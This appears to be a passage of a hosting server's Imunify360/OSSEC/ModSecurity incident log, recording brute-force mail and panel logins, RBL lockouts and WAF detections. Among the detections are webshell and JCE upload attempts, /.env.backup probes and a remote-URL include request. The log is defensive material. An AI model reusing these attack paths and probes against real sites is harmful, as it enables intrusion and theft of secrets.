# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 10:31:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-23 10:31:32 dovecot_login authenticator failed for H=([83.118.111.32]) [49.206.28.215]:28738: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.154
country_id: 1835841
description:
Jul 23 10:31:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.154
country_id: 1835841
description:
2026-07-23 10:31:22 dovecot_login authenticator failed for H=([61.2.44.54]) [121.131.220.154]:46158: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2406:6d00:ffb:1200:4d02:6e40:135a:546b
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.35||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Moderate||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.11.181
country_id: 1269750
description:
[2026-07-23 10:37:26 +0530] info [whostmgrd] 223.181.11.181 NEW root:ajWRntPe5eqDJwGd address=223.181.11.181,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.11.181
country_id: 1269750
description:
[2026-07-23 10:37:46 +0530] info [cpaneld] 223.181.11.181 NEW fefkadirectors:6zwms0SK5f2bQwjb address=223.181.11.181,app=cpaneld,creator=fefkadirectors,method=handle_form_login,path=loadsession:fefkadirectors:_XWe_FrpouyxLnwE,possessed=1,possessor=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 10:43:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 10:43:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.227.94
country_id: 1269750
description:
Jul 23 10:45:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.227.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 10:46:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.227.94
country_id: 1269750
description:
2026-07-23 10:45:50 dovecot_login authenticator failed for H=([27.39.128.170]) [152.52.227.94]:57788: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.51.64
country_id: 337996
description:
Jul 23 10:46:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.51.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.51.64
country_id: 337996
description:
2026-07-23 10:46:22 dovecot_login authenticator failed for H=(104-194-37-176.tpia.execulink.com) [196.189.51.64]:48728: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.38.248
country_id: 1668284
description:
Jul 23 10:46:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.38.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.248
country_id: 1668284
description:
2026-07-23 10:46:46 dovecot_login authenticator failed for H=111-70-38-248.emome-ip.hinet.net ([39.71.43.62]) [111.70.38.248]:34396: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 10:51:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-23 10:51:40 dovecot_login authenticator failed for H=(ip184-182-240-1.mc.at.cox.net) [182.95.229.110]:37130: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.229.110
country_id: 1269750
description:
Jul 23 10:51:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.229.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.185.101.50
country_id: 1269750
description:
Jul 23 10:51:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.185.101.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-23 10:51:53 dovecot_login authenticator failed for H=([112.161.26.125]) [122.185.101.50]:50732: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 10:51:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 213.177.237.72
country_id: 1835841
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:213.177.237.72||TA:213.177.237.72||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.11.128
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/ssp6-multiducer?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-23 10:59:20 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.0.90.81
country_id: 2077456
description:
Jul 23 10:59:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.0.90.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.81
country_id: 2077456
description:
2026-07-23 10:59:40 dovecot_login authenticator failed for H=210.0.90.81.static.nexnet.net.au (c-83-226-56-106.bbcust.telenor.se) [210.0.90.81]:35962: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.32.190
country_id: 1269750
description:
Jul 23 10:59:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.32.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.32.190
country_id: 1269750
description:
2026-07-23 10:59:50 dovecot_login authenticator failed for H=([31.173.2.182]) [45.118.32.190]:52903: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 134.255.243.16
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://cdik-center.ru/bitrix/redirect.php?goto=https://zsirkacsa.hu/crazytimestats861555\">crazytimesit</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 11:03:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://everywhenatonce.com/sandbox/wiki/index.php?title=Gi%E1%BB%91ng_c%C3%A0_ph%C3%AA_THA1_mang_l%E1%BA%A1i_s%E1%BB%B1_%E1%BB%95n_%C4%91%E1%BB%8Bnh_trong_canh_t%C3%A1c\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.16.221.216
country_id: 2635167
description:
Jul 23 11:05:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.16.221.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-23 11:05:32 dovecot_login authenticator failed for H=([180.94.75.146]) [82.16.221.216]:51930: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 63.135.169.175
country_id: 6252001
description:
Jul 23 11:05:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 63.135.169.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 11:05:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.135.169.175
country_id: 6252001
description:
2026-07-23 11:05:46 dovecot_login authenticator failed for H=([105.247.89.210]) [63.135.169.175]:61311: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77469916
abuser: 213.177.237.72
country_id: 1835841
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.181.213.119
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/home-theater-products/v5010i-4k-rgb-laser-tv-projector HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 11:08:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 203.10.99.50
country_id: 1861060
domain: www.globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 11:11:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 11:12:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 11:13:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 11:24:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.68.226.171
country_id: 3017382
description:
Jul 23 11:27:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.68.226.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-23 11:27:36 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([198.8.94.171]) [51.68.226.171]:36178: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 11:27:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.219
country_id: 1269750
description:
2026-07-23 11:28:22 dovecot_login authenticator failed for H=([211.199.253.131]) [49.249.76.219]:52916: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.249.76.219
country_id: 1269750
description:
Jul 23 11:28:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.249.76.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 189.188.17.104
country_id: 3996063
description:
2026-07-23 11:29:26 H=([10.0.0.53]) [189.188.17.104]:48284 F=<dirjulio@outlook.com> rejected RCPT <webmex@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 11:30:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-23 11:30:21 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([14.98.28.43]) [89.67.37.52]:45825: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.244.48.65
country_id: 6254930
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es55-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.142.170.231
country_id: 6252001
description:
Jul 23 11:32:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.142.170.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-23 11:32:02 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([112.26.101.76]) [24.142.170.231]:42133: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 189.188.17.104
country_id: 3996063
description:
2026-07-23 11:32:11 H=([10.0.0.53]) [189.188.17.104]:37472 F=<dirjulio@outlook.com> rejected RCPT <info@magnarx.mx>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 11:32:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-23 11:32:34 dovecot_login authenticator failed for H=([72.206.74.97]) [131.161.184.46]:43038: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 11:33:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 11:33:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-23 11:35:38 dovecot_login authenticator failed for H=([211.186.41.227]) [102.210.148.41]:51702: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.251.252.216
country_id: 6252001
description:
Jul 23 11:36:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.251.252.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.251.252.216
country_id: 6252001
description:
2026-07-23 11:36:07 dovecot_login authenticator failed for H=([220.189.209.18]) [172.251.252.216]:39848: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 11:36:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.248.130.247
country_id: 192950
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:99842.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2ff7b0d6a5c1cded33792917b8025a4dfe75e2c4||Title:0xa5cd64dd||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 11:45:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 11:49:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.234.16.75
country_id: 6252001
description:
Jul 23 11:50:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.234.16.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-23 11:50:55 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([119.200.229.33]) [72.234.16.75]:37682: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.16
country_id: 1861060
description:
2026-07-23 11:51:08 dovecot_login authenticator failed for H=([49.124.151.54]) [212.135.208.16]:34949: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.135.208.16
country_id: 1861060
description:
Jul 23 11:51:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.135.208.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 11:52:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 11:52:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://emergencyacrepair1.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 11:54:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://emergencyhvacrepair3.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 12:00:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.198.42
country_id: 1269750
description:
Jul 23 12:06:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.198.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-23 12:06:21 dovecot_login authenticator failed for H=([196.189.59.226]) [152.52.198.42]:34380: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.135.208.17
country_id: 1861060
description:
Jul 23 12:06:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.135.208.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.17
country_id: 1861060
description:
2026-07-23 12:06:36 dovecot_login authenticator failed for H=(223-197-153-135.static.imsbiz.com) [212.135.208.17]:39620: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 38.47.191.134
country_id: 1880251
domain: jaashsupplies.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/jaashsupplies/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 12:12:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 5.59.248.79
country_id: 3175395
domain: ogocindia.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ogocindia||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 12:15:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 12:16:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 12:24:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://emergencyacrepair1.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 12:26:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 189.188.17.104
country_id: 3996063
description:
2026-07-23 12:28:55 H=([10.0.0.53]) [189.188.17.104]:36368 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<dirjulio@outlook.com> rejected RCPT <ventas@feromonas.mx>: SMTP AUTH is required for message submission on port 587


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.213.239
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/gallo-accoustics-round-sound?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 12:34:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 12:37:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 12:37:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 2.26.82.237
country_id: 2750405
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:fefkadirectors||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.240.215.12
country_id: 298795
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20526.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:478f80c371030124ccb7830435ee4310c5d6438d||Title:0x5a2bf489||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.138.166.217
country_id: 1835841
description:
Jul 23 12:42:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.138.166.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-23 12:42:52 dovecot_login authenticator failed for H=([72.205.0.69]) [125.138.166.217]:50382: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://24hourhvacrepair2.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
